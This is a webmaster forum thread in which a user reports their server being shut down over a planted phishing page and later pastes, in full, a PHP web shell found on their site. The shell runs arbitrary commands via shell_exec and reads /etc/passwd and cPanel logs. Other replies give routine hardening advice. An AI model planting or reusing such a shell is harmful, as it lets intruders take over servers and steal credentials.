Dedi shut down for fraud!

Status
Not open for further replies.
powell1

powell1

RTFM
Jul 14, 2007
298
8
0
I went to check on a few sites, and found that none of them were working. What the hell? I got in touch with my host, and my server was shut down by the data center for fraudulent web sites. Apparently there was a phishing page deep within one of my sites. Dammit, I didn't even have anything on that particular domain. I was messing around with a search engine script and that's all I had uploaded. I assume the script could have generated the page, I dunno how else it could have gotten there. Fuckers. That's what I get for messing around with nulled scripts I guess. :mad:
 


It's probably a security hole in the search engine script. I've never had a problem with nulled scripts.

If your host shuts you down without telling you, get a new host.
 
Yeah those bastards. So fuck me in the goat ass, it happened again! This time I've been "Hacked by the United Arab Hackers" Fuckers. I found this deal uploaded to another of my sites:

<title><?php echo getenv("HTTP_HOST"); ?> | United Arab Hackers</title>



Code: 
                <style type="text/css">

                    td { font-family:lucida,verdana;font-size:113px;color:#cccccc; }

                    a { color:#ff0000;text-decoration:none;font-family:lucida,verdana;font-size:13px;font-weight:bold; }

                    a.visited { color:#ff0000;text-decoration:none;font-family:lucida,verdana;font-size:13px;font-weight:bold; }

                    a.hover { color:#ff0000;text-decoration:underline;font-family:lucida,verdana;font-size:13px;font-weight:bold; }

                    .form_elements { background-color:#171717;color:#cccccc;font-family:lucida,verdana;font-size:13px;border:1px solid #ff0000;font-weight:bold; }

                body,td,th {

    font-size: medium;

}

</style> 



                <body style="background-color:#171717;font-family:lucida,verdana;font-size:13px;color:#cccccc;">

                

<?php

echo '<center><h5> Coded By Zakaria </h5></center>';

echo '<center><h5> x2@hotmail.de </h5></center>';

echo "<pre>";

ini_restore("safe_mode");

ini_restore("open_basedir");

$b0ri=shell_exec($_POST[zaki]); 

$b0rizq=shell_exec($_POST[b0ri]); 

$uid=shell_exec('id');

$server=shell_exec('uname -a');

echo "<pre><h5>";

echo "<b><font color=red>id</font></b>:$uid<br>";

echo "<b><font color=red>uname -a</font></b>:$server<br>";

echo "</h5></pre>";

echo $b0ri;

echo $b0rizq;

echo "<pre>";



print_r('

<form method="POST" action="">

<font color=green>Enter : </font>

<input name="zaki" type="text" class="form_elements"> 

<input type="submit" class="form_elements" value="Executé">

</form>

<form method="POST" action="">

  <font color=green>Select :</font> 

  <select name="b0ri" size="1" class="form_elements">

<option value="cat /etc/passwd">/etc/passwd</option>

<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>

<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>

<option value="cat /etc/hosts">/etc/hosts</option>

<option value="cat /etc/named.conf">/etc/named.conf</option>

<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>

</select> 

  <input type="submit" class="form_elements" value="Executé">

</form>



');

?>

Don't know how they got it there. A G search shows they have done it to a few sites. I don't really know shit about server admin, but I did some scans and got pretty decent marks on the server. Guess I'll have to put it on my list of things to learn. I hate people.:repuke:
 
That shit happened to me about two years ago. I setup a photo sharing site for a friend on my server and they broke in and stole about 1000 records (including passwords). The host shutdown my server and made me start from scratch. It took over a month to notify people and get things moving again. Taught me an important lesson however... Always secure your server the best you can. I personally choose to use OpenBSD. Pretty darn nice. Best of luck to you man.
 
Ya some of those photo galleries were easy to inject scripts into to hack. Just remember the more crap (scripts) on your site the more vulnerabilities.
 
I suggest using popular open source software instead of cheap/free scripts you stumble upon. I'm a programmer and security is a big deal but is something that (and this fact is straight from the industry) most programmers do not take into account. It's due to laziness on one part, and arrogance or a "it won't happen to me" feeling on another part.

Security isn't a mandatory subject taught to programmers, but rather a separate topic/course that The Good Programmer chooses to study.

Anyway, do your part and check permissions on the files you upload (chmod), and remain vigilant with updates. Subscribe to mailing lists, don't skimp on uploading new patches ASAP, and keep backups.
 
Status
Not open for further replies.
Top Bottom